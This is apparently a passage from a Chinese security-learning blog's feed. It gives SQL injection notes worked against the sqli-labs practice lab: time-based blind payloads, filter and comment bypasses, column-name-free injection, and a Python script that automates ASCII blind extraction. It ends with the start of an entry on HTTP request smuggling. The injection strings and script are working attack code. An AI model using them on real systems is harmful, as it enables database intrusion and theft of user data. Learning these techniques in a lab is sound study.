class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> id, ELT(category, <span class="string">&#x27;Electronics&#x27;</span>, <span class="string">&#x27;Books&#x27;</span>, <span class="string">&#x27;Clothing&#x27;</span>)</span><br><span class="line"><span class="keyword">AS</span> category_name</span><br><span class="line"><span class="keyword">FROM</span> my_table;</span><br></pre></td></tr></table></figure><p>如果 category 的值为 1、2 或 3，<br>分别返回 Electronics、Books、Clothing 这个函数同样可以用在盲注中,<br>逻辑运算往往会返回 0 或 1，<br>也就是说可以让条件为真时,<br>执行<code>elt</code>函数第二个参数的表达式</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">-- 条件为真时会睡 3 秒  </span><br><span class="line">SELECT ELT((LENGTH(DATABASE())&gt;3), SLEEP(3));</span><br></pre></td></tr></table></figure><p>FIELD() 函数替代</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">-- FIELD返回值在列表中的位置（从1开始），不存在则返回0</span><br><span class="line">SELECT FIELD(ASCII(SUBSTR(DATABASE(),1,1)), 115);  -- 等于115返回1</span><br><span class="line"></span><br><span class="line">-- 转换为布尔值</span><br><span class="line">SELECT FIELD(ASCII(SUBSTR(DATABASE(),1,1)), 115) &gt; 0;</span><br><span class="line"></span><br><span class="line">-- 在注入中</span><br><span class="line">&#x27; OR FIELD(ASCII(SUBSTR(DATABASE(),1,1)), 115) --</span><br></pre></td></tr></table></figure><p>MAKE_SET() 函数</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">-- MAKE_SET返回集合，位掩码选择哪些值</span><br><span class="line">SELECT MAKE_SET(</span><br><span class="line">    ASCII(SUBSTR(DATABASE(),1,1))-114,  -- 位掩码</span><br><span class="line">    &#x27;no&#x27;, &#x27;yes&#x27;                         -- 值列表</span><br><span class="line">);</span><br><span class="line"></span><br><span class="line">-- 当ASCII=115时，掩码=1，返回&#x27;yes&#x27;</span><br><span class="line">-- 在注入中</span><br><span class="line">&#x27; OR MAKE_SET((ASCII(SUBSTR(DATABASE(),1,1))=115), 0, SLEEP(3)) --</span><br></pre></td></tr></table></figure><p>COALESCE() 和 NULLIF() 组合</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">-- 利用NULL值</span><br><span class="line">SELECT COALESCE(</span><br><span class="line">    NULLIF(ASCII(SUBSTR(DATABASE(),1,1)), 115),</span><br><span class="line">    SLEEP(3)  -- 如果相等则执行</span><br><span class="line">);</span><br><span class="line"></span><br><span class="line">-- 解释：NULLIF相等返回NULL，COALESCE返回第一个非NULL值</span><br><span class="line">-- 在注入中</span><br><span class="line">&#x27; OR COALESCE(NULLIF(ASCII(SUBSTR(DATABASE(),1,1)), 115), SLEEP(3)) --</span><br></pre></td></tr></table></figure><h4 id="过滤关键字"><a href="#过滤关键字" class="headerlink" title="过滤关键字"></a>过滤关键字</h4><p>如果单纯替换为空，就双写绕过</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select -&gt; selselectect</span><br></pre></td></tr></table></figure><p>如果过滤不区分大小写，就用随便换</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select -&gt; SELECT -&gt; sElEct</span><br></pre></td></tr></table></figure><p>如果过滤关键词组合<code>union select</code>可以改用<code>union all select</code> 或者结合内联注释构造: <code>/*!UNION*/SELECT UNION/**/SELECT</code><br>或者插入其他可代替空格的符号</p><h4 id="过滤information-schema"><a href="#过滤information-schema" class="headerlink" title="过滤information_schema"></a>过滤information_schema</h4><p>information_schema,它是一个系统数据库，存储了MySQL服务器中所有其他数据库的元数据信息。提供对数据库、表、列、索引等元数据的访问，帮助我们了解数据库结构。很幸运在mysql 5.7以后新增了schema_auto_increment_columns这个视图去保存所有表中含有自增字段的信息。不仅保存了库名、表名还保存了自增字段的列名 先看一下有哪些库</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">-1&#x27; union select 1,2,group_concat(schema_name) from information_schema.schemata--+</span><br><span class="line">有</span><br><span class="line">information_schema,challenges,mysql,performance_schema,security,sys,upload-labs</span><br></pre></td></tr></table></figure><p>这里的sys下有一个<code>sys.schema_auto_increment_columns</code> 当我们利用database（）函数获得数据库名之后,可以利用这个视图去获得表名和列名</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">select table_name,column_name from sys.schema_auto_increment_columns where table_schema = &quot;security&quot;;</span><br><span class="line">-1&#x27; union select 1,2,group_concat(table_name,column_name) from sys.schema_auto_increment_columns where table_schema=&#x27;security&#x27;--+</span><br></pre></td></tr></table></figure><p>这样可以直接获得表名和列名。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">+------------+-------------+</span><br><span class="line">| table_name | column_name |</span><br><span class="line">+------------+-------------+</span><br><span class="line">| uagents    | id          |</span><br><span class="line">| referers   | id          |</span><br><span class="line">| users      | id          |</span><br><span class="line">| emails     | id          |</span><br><span class="line">+------------+-------------+</span><br></pre></td></tr></table></figure><p>还可以利用<code>schema_table_statistics</code> 而对于没有自增列的表名，这个视图是无法获取的。这个时候我们可以通过统计信息视图获得表名 <code>schema_table_statistics_with_buffer</code> <code>schema_table_statistics</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">select table_name from sys.schema_table_statistics_with_buffer where table_schema = &quot;security&quot;;</span><br><span class="line">select table_name from sys.schema_table_statistics where table_schema = &quot;security&quot;;</span><br><span class="line">-1&#x27; union select 1,2,group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=&#x27;security&#x27;--+</span><br></pre></td></tr></table></figure><p>但是这个好像只可以查表名，不可以查列名。 会报错<code>ERROR 1054 (42S22): Unknown column &#39;column_name&#39; in &#39;field list&#39;</code> 但还有办法获得列名，这里就需要用到无列名注入。</p><p> join…using</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">-1&#x27; union all select * from (select * from users as a join users as b)as c--+</span><br><span class="line">回显Duplicate column name &#x27;id&#x27;</span><br><span class="line">这个报错 `Duplicate column name &#x27;id&#x27;` 是因为在 `JOIN` 查询中没有指定具体的列，导致结果集中出现了两个同名的 `id` 列（一个来自表 `a`，一个来自表 `b`）。数据库在尝试创建派生表 `c` 时，由于无法处理重复的列名，直接把冲突的列名吐了出来。 </span><br><span class="line">-1&#x27; union select * from (select * from users as a join users as b using(id,username,password))as c--+</span><br><span class="line">select * from users where id=&#x27;0&#x27; union all select * from (select * from users as a join users as b)as c;</span><br><span class="line">select * from users where id=&#x27;0&#x27; union all select * from (select * from users as a join users as b using(id,username,password))as c;</span><br><span class="line">+----+----------+------------+</span><br><span class="line">| id | username | password   |</span><br><span class="line">+----+----------+------------+</span><br><span class="line">|  1 | Dumb     | Dumb       |</span><br><span class="line">|  2 | Angelina | I-kill-you |</span><br><span class="line">|  3 | Dummy    | p@ssword   |</span><br><span class="line">|  4 | secure   | crappy     |</span><br><span class="line">|  5 | stupid   | stupidity  |</span><br><span class="line">|  6 | superman | genious    |</span><br><span class="line">|  7 | batman   | mob!le     |</span><br><span class="line">|  8 | admin    | admin      |</span><br><span class="line">|  9 | admin1   | admin1     |</span><br><span class="line">| 10 | admin2   | admin2     |</span><br><span class="line">| 11 | admin3   | admin3     |</span><br><span class="line">| 12 | dhakkan  | dumbo      |</span><br><span class="line">| 14 | admin4   | admin4     |</span><br><span class="line">+----+----------+------------+</span><br><span class="line"></span><br><span class="line">-- 基础原理</span><br><span class="line">SELECT * FROM users AS a JOIN users AS b;  -- 报错：Duplicate column name &#x27;id&#x27;</span><br><span class="line"></span><br><span class="line">-- 获取所有列名</span><br><span class="line">SELECT * FROM users AS a JOIN users AS b USING(id);</span><br><span class="line">-- 如果成功，说明只有id列</span><br><span class="line">-- 如果报错，说明还有其他列，继续尝试...</span><br><span class="line"></span><br><span class="line">SELECT * FROM users AS a JOIN users AS b USING(id, username);</span><br><span class="line">-- 直到不报错，就得到了所有列名</span><br><span class="line"></span><br><span class="line">-- 自动化方法</span><br><span class="line">&#x27; UNION SELECT * FROM (SELECT * FROM users AS a JOIN users AS b) AS c --</span><br><span class="line">-- 通过错误信息获得列名</span><br></pre></td></tr></table></figure><p><strong>order by盲注</strong> order by用于根据指定的列对结果集进行排序。一般上是从0-9、a-z排序，不区分大小写。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"> select * from users where id=&#x27;1&#x27; union select 1,2,&#x27;c&#x27; order by 3;</span><br><span class="line">select * from users where id=&#x27;1&#x27; union select 1,2,&#x27;d&#x27; order by 3; </span><br><span class="line"> select * from users where id=&#x27;1&#x27; union select 1,2,&#x27;e&#x27; order by 3; </span><br></pre></td></tr></table></figure><p>其中</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">1&#x27; union select 1,2,&#x27;d&#x27; order by 3--+</span><br><span class="line">回显</span><br><span class="line">Your Login name:2  </span><br><span class="line">Your Password:d</span><br><span class="line">1&#x27; union select 1,2,&#x27;e&#x27; order by 3--+</span><br><span class="line">回显</span><br><span class="line">Your Login name:Dumb  </span><br><span class="line">Your Password:Dumb</span><br></pre></td></tr></table></figure><p>测的值大于当前值时，会返回原来的数据即这里看第二列返回是否正常的username，否则会返回猜测的值。 <strong>子查询</strong> 子查询也能用于无列名注入，主要是结合union select联合查询构造列名再放到子查询中实现。 使用如下union联合查询，可以给当前整个查询的列分别赋予1、2、3的名字：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">-- 1. 正常查询（假设不知道列名）</span><br><span class="line">SELECT * FROM users WHERE id = 1;</span><br><span class="line"></span><br><span class="line">-- 2. 注入创建虚拟列名</span><br><span class="line">SELECT 1,2,3 UNION SELECT * FROM users;</span><br><span class="line"></span><br><span class="line">-- 结果：</span><br><span class="line">-- +---+-------+---------+</span><br><span class="line">-- | 1 | 2     | 3       |</span><br><span class="line">-- +---+-------+---------+</span><br><span class="line">-- | 1 | 2     | 3       |</span><br><span class="line">-- | 1 | admin | pass123 |</span><br><span class="line">-- | 2 | user1 | abc123  |</span><br><span class="line">-- | 3 | user2 | def456  |</span><br><span class="line">-- +---+-------+---------+</span><br><span class="line"></span><br><span class="line">-- 3. 通过子查询提取具体列</span><br><span class="line">SELECT `2` FROM (</span><br><span class="line">    SELECT 1,2,3 UNION SELECT * FROM users</span><br><span class="line">) AS x;</span><br><span class="line"></span><br><span class="line">-- 结果：</span><br><span class="line">-- +-------+</span><br><span class="line">-- | 2     |</span><br><span class="line">-- +-------+</span><br><span class="line">-- | 2     |</span><br><span class="line">-- | admin |</span><br><span class="line">-- | user1 |</span><br><span class="line">-- | user2 |</span><br><span class="line">-- +-------+</span><br></pre></td></tr></table></figure><h4 id="过滤注释符"><a href="#过滤注释符" class="headerlink" title="过滤注释符"></a>过滤注释符</h4><p>常见注释符</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/**/ --+ # /*!*/</span><br></pre></td></tr></table></figure><p><strong>可以平衡引号</strong> 例如sql-labs第23关，</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">id=1&#x27; or &#x27;1&#x27;=&#x27;1</span><br><span class="line">id=1&#x27; &#x27;</span><br></pre></td></tr></table></figure><p>注入查询语句</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">-1&#x27; union select 1,2,database() &#x27;</span><br><span class="line">-1&#x27; union select 1,database(),3 or &#x27;1&#x27;=&#x27;1</span><br></pre></td></tr></table></figure><p><strong>%00截断</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">-1&#x27; union select 1,database(),3;%00</span><br></pre></td></tr></table></figure><p>但这也只有老版本的php可以用了。从php5.3.4开始就基本不可以用了 <strong>改变闭合方式避免语法错误</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> id <span class="keyword">FROM</span> users <span class="keyword">WHERE</span> username<span class="operator">=</span><span class="string">&#x27;&#x27;</span> <span class="keyword">AND</span> passwd<span class="operator">=</span><span class="string">&#x27;&#x27;</span> LIMIT <span class="number">0</span>,<span class="number">1</span>;</span><br></pre></td></tr></table></figure><p>发送payload</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">username=admin&#x27;OR&amp;passwd=OR&#x27;</span><br></pre></td></tr></table></figure><p>拼接后变成</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT id FROM users WHERE username=&#x27;admin&#x27;OR&#x27; AND passwd=&#x27;OR&#x27;&#x27; LIMIT 0,1;</span><br></pre></td></tr></table></figure><h4 id="编码绕过"><a href="#编码绕过" class="headerlink" title="编码绕过"></a>编码绕过</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">-- SELECT username FROM users;</span><br><span class="line">SELECT char(117,115,101,114,110,97,109,101) FROM users;</span><br><span class="line">SELECT 0x757365726e616d65 FROM users;</span><br></pre></td></tr></table></figure><h4 id="花括号语法"><a href="#花括号语法" class="headerlink" title="花括号语法"></a>花括号语法</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&#123;任意字母开头的标识符 有效的SQL语句&#125;</span><br><span class="line">SELECT &#123;a DATABASE()&#125;;</span><br></pre></td></tr></table></figure><p>花括号左边是注释（左边可以是任意字母，但不能是数字），<br>右边是查询语句的一部分<br>这个用的场景比较少啊 我自己想只能想到一些特定的WAF还有正则 记一下 还是挺特殊的</p><h2 id="无列名注入"><a href="#无列名注入" class="headerlink" title="无列名注入"></a>无列名注入</h2><p><strong>通常情况是columns被ban了或者information被ban了 等读取不到列名的情况</strong> 上面提到了用sys的一些库可以获取表名，但是sys库需要root权限才能访问。innodb在mysql中是默认关闭的。</p><h4 id="InnoDb"><a href="#InnoDb" class="headerlink" title="InnoDb"></a>InnoDb</h4><p>从MYSQL5.5.8开始，InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中，inndb增加了innodb_index_stats和innodb_table_stats两张表，这两张表中都存储了数据库和其数据表的信息，<strong>但是没有存储列名</strong>。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">mysql.innodb_table_stats</span><br><span class="line">mysql.innodb_index_stats</span><br></pre></td></tr></table></figure><p>可以用来代替<code>information_schema.tables</code>查表名 例如</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">-1&#x27; union select 1,2,group_concat(table_name) from mysql.innodb_table_stats where database_name=&#x27;security&#x27;--+</span><br></pre></td></tr></table></figure><h4 id="sys"><a href="#sys" class="headerlink" title="sys"></a>sys</h4><p>在5.7以上的MYSQL中，新增了sys数据库，该库的基础数据来自information_schema和performance_chema，其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取<strong>表名</strong>。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">schema_table_statistics_with_buffer</span><br><span class="line">schema_table_statistics</span><br><span class="line">schema_auto_increment_columns</span><br></pre></td></tr></table></figure><h4 id="设置别名来绕过列名"><a href="#设置别名来绕过列名" class="headerlink" title="设置别名来绕过列名"></a>设置别名来绕过列名</h4><p>union可以构造一个虚拟表。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">select 1,2,3 union select * from users; </span><br><span class="line">+----+----------+------------+</span><br><span class="line">| 1  | 2        | 3          |</span><br><span class="line">+----+----------+------------+</span><br><span class="line">|  1 | 2        | 3          |</span><br><span class="line">|  1 | Dumb     | Dumb       |</span><br><span class="line">|  2 | Angelina | I-kill-you |</span><br><span class="line">|  3 | Dummy    | p@ssword   |</span><br><span class="line">|  4 | secure   | crappy     |</span><br><span class="line">|  5 | stupid   | stupidity  |</span><br><span class="line">|  6 | superman | genious    |</span><br><span class="line">|  7 | batman   | mob!le     |</span><br><span class="line">|  8 | admin    | admin      |</span><br><span class="line">|  9 | admin1   | admin1     |</span><br><span class="line">| 10 | admin2   | admin2     |</span><br><span class="line">| 11 | admin3   | admin3     |</span><br><span class="line">| 12 | dhakkan  | dumbo      |</span><br><span class="line">| 14 | admin4   | admin4     |</span><br><span class="line">+----+----------+------------+</span><br><span class="line">select 字段数要和tables数一样</span><br><span class="line">后面用</span><br><span class="line">select `3` from (select 1,2,3 union select * from users)x;</span><br><span class="line">x不可以省略，这是别名</span><br></pre></td></tr></table></figure><p>如果反引号被过滤了，可以设置别名 as可以省略</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select b from (select 1 a,2 b,3 c union select * from users)x;</span><br></pre></td></tr></table></figure><h4 id="通过assic位移无列名注入"><a href="#通过assic位移无列名注入" class="headerlink" title="通过assic位移无列名注入"></a>通过assic位移无列名注入</h4><p>首先可以通过类似这样的语句爆出字段数<br><code>(select 1,2,3) &gt; (select *from teacher)</code><br>字段数相等会返回1，不相等则会报错 然后通过比较ascii大小爆数据。 脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">ascii_tuple_blind_injection</span>(<span class="params">url, table_name, columns_count</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    通过ASCII位移进行无列名注入</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    result = <span class="string">&quot;&quot;</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 假设我们提取第一行第一列的数据</span></span><br><span class="line">    <span class="keyword">for</span> position <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">100</span>):  <span class="comment"># 位置从1开始</span></span><br><span class="line">        low, high = <span class="number">32</span>, <span class="number">126</span>  <span class="comment"># ASCII范围</span></span><br><span class="line">        </span><br><span class="line">        <span class="keyword">while</span> low &lt;= high:</span><br><span class="line">            mid = (low + high) // <span class="number">2</span></span><br><span class="line">            </span><br><span class="line">            <span class="comment"># 构造元组，假设要提取的列在第二个位置</span></span><br><span class="line">            <span class="comment"># (1, &#x27;猜测的字符串&#x27;, 3, ...) 根据列数调整</span></span><br><span class="line">            <span class="keyword">if</span> columns_count == <span class="number">2</span>:</span><br><span class="line">                payload = <span class="string">f&quot;(1,&#x27;<span class="subst">&#123;result + <span class="built_in">chr</span>(mid)&#125;</span>&#x27;)&quot;</span></span><br><span class="line">            <span class="keyword">elif</span> columns_count == <span class="number">3</span>:</span><br><span class="line">                payload = <span class="string">f&quot;(1,&#x27;<span class="subst">&#123;result + <span class="built_in">chr</span>(mid)&#125;</span>&#x27;,1)&quot;</span></span><br><span class="line">            <span class="comment"># ... 根据实际列数构造</span></span><br><span class="line">            </span><br><span class="line">            <span class="comment"># 完整的注入payload</span></span><br><span class="line">            sql = <span class="string">f&quot;2||(<span class="subst">&#123;payload&#125;</span>&gt;(select * from <span class="subst">&#123;table_name&#125;</span> limit 1))&quot;</span></span><br><span class="line">            </span><br><span class="line">            data = &#123;<span class="string">&#x27;id&#x27;</span>: sql&#125;</span><br><span class="line">            response = requests.post(url, data=data)</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;错误标志&quot;</span> <span class="keyword">in</span> response.text:  <span class="comment"># 根据实际响应调整</span></span><br><span class="line">                <span class="comment"># 猜测值 &gt; 实际值，实际值在左半区</span></span><br><span class="line">                high = mid - <span class="number">1</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="comment"># 猜测值 &lt;= 实际值，实际值在右半区</span></span><br><span class="line">                low = mid + <span class="number">1</span></span><br><span class="line">        </span><br><span class="line">        <span class="comment"># 找到实际字符</span></span><br><span class="line">        actual_char = <span class="built_in">chr</span>(low - <span class="number">1</span>) <span class="keyword">if</span> low &gt; <span class="number">32</span> <span class="keyword">else</span> <span class="string">&#x27;&#x27;</span></span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> actual_char <span class="keyword">or</span> actual_char == <span class="built_in">chr</span>(<span class="number">126</span>):</span><br><span class="line">            <span class="keyword">break</span>  <span class="comment"># 结束</span></span><br><span class="line">        </span><br><span class="line">        result += actual_char</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;进度: <span class="subst">&#123;result&#125;</span>&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> result </span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>http://47.109.24.42/2026/02/09/sql/</id>
    <link href="http://47.109.24.42/2026/02/09/sql/"/>
    <published>2026-02-08T16:00:00.000Z</published>
    <summary>
      <![CDATA[<p>  搭完了个人博客 做ivory学长下发的任务 重新做sql靶场 加上补充知识点 sql是最开始学的 刚开始学的时候就只是问ai 基本语法都不是很了解就在写 这里相当于重新开始吧</p>
<h2 id="基础语法"><a href="#基础语法" class="header]]>
    </summary>
    <title>sql</title>
    <updated>2026-02-08T16:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>xiexie</name>
    </author>
    <category term="学习笔记" scheme="http://47.109.24.42/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    <category term="学习task" scheme="http://47.109.24.42/tags/%E5%AD%A6%E4%B9%A0task/"/>
    <content>
      <![CDATA[<h3 id="HTTP请求走私的原理"><a href="#HTTP请求走私的原理" class="headerlink" title="HTTP请求走私的原理"></a>HTTP请求走私的原理</h3><p>HTTP 请求一个接一个地发送，接收服务器必须确定一个请求在哪里结束，下一个请求在哪里开始。需要保证前端和后端系统必须就请求之间的边界达成一致 否则，攻击者可能发送含义模糊的请求 后端会将其解释为两条不同的HTTP请求 belike<br><img src="/images/37.png"><br>使得攻击者能够在下一个合法用户的请求开头添加任意内容 在这个图片里面 也就是橙色内容 形象一点的例子<br><img src="/images/38.png"><br>前端优先处理第一个内容长度头部，后端优先处理第二个<br>前端会将蓝色和橙色数据转发到后端，后端在发出响应前只会读取蓝色内容<br>注入的“G”会破坏绿色用户的请求，他们可能会收到类似“未知方法 GPOST”的响应<br>前端与后端不一致 是我理解的走私的根本 上面的例子也是举的最简单的例子（现实中基本不可能存在双重内容长度技术奏效的情况）看到这里 我在想这个有点像CSRF了 毕竟可以影响到下一个用户的真正请求 继续往下面看吧</p><h3 id="消息体的结束位置"><a href="#消息体的结束位置" class="headerlink" title="消息体的结束位置"></a>消息体的结束位置</h3><p>HTTP&#x2F;1 规范提供了两种不同的方式来指定请求的结束位置：<code>Content-Length</code>标头和<code>Transfer-Encoding</code>标头 </p><ol><li>Content-Length 它指定邮件正文的长度 比如 一段报文 上面的就省略了<br>Content-Length: 11<br>q&#x3D;smuggling</li><li>Transfer-Encoding 这个就要规范一点（也不是规范吧 总之就是感觉起来要严谨一些）指定消息体使用分块编码 每个数据块由以下部分组成：数据块大小（以字节为单位，十六进制表示）、换行符以及数据块内容 大概格式如下</li></ol><ul><li>格式：<code>Transfer-Encoding: chunked</code></li><li>块格式：<code>[chunk-size][\r\n][chunk-data][\r\n]</code></li><li>结束块：<code>0[\r\n][\r\n]</code><br>接着我上面说的 感觉TE要严谨规范一点 所以如果收到的消息同时包含 Transfer-Encoding 标头字段和 Content-Length 标头字段，则必须忽略后者。</li></ul><h3 id="HTTP-请求走私攻击类型"><a href="#HTTP-请求走私攻击类型" class="headerlink" title="HTTP 请求走私攻击类型"></a>HTTP 请求走私攻击类型</h3><ul><li>CL.TE：前端服务器使用<code>Content-Length</code>标头，后端服务器使用<code>Transfer-Encoding</code>标头。</li><li>TE.CL：前端服务器使用<code>Transfer-Encoding</code>标头，后端服务器使用<code>Content-Length</code>标头。</li><li>TE.TE：前端服务器和后端服务器都支持该<code>Transfer-Encoding</code>标头，但可以通过某种方式混淆该标头，使其中一个服务器不处理该标头<br>下面我都会用自己的理解打一下bp里面最基础的靶场 主要是掌握一下原理</li></ul><ol><li>CL.TE Content-Length 设置较短 后端会因等待下一个数据块而超时 这将导致明显的延迟 那么对于这个靶场<br><img src="/images/40.png"><br>设置的长度是6 导致超时了 也就是说后端后端会因为等待 X 到达而超时 那么符合CL.TE 也就是说<br><img src="/images/41.png"><br>当我这样构造时 前端识别到G才会完 可是后端看到0\r\n\r\n之后就会以为消息已经完了 那么剩下的G 将会分在下一次请求里面 从而构造出无效的GPOST请求 如下<br><img 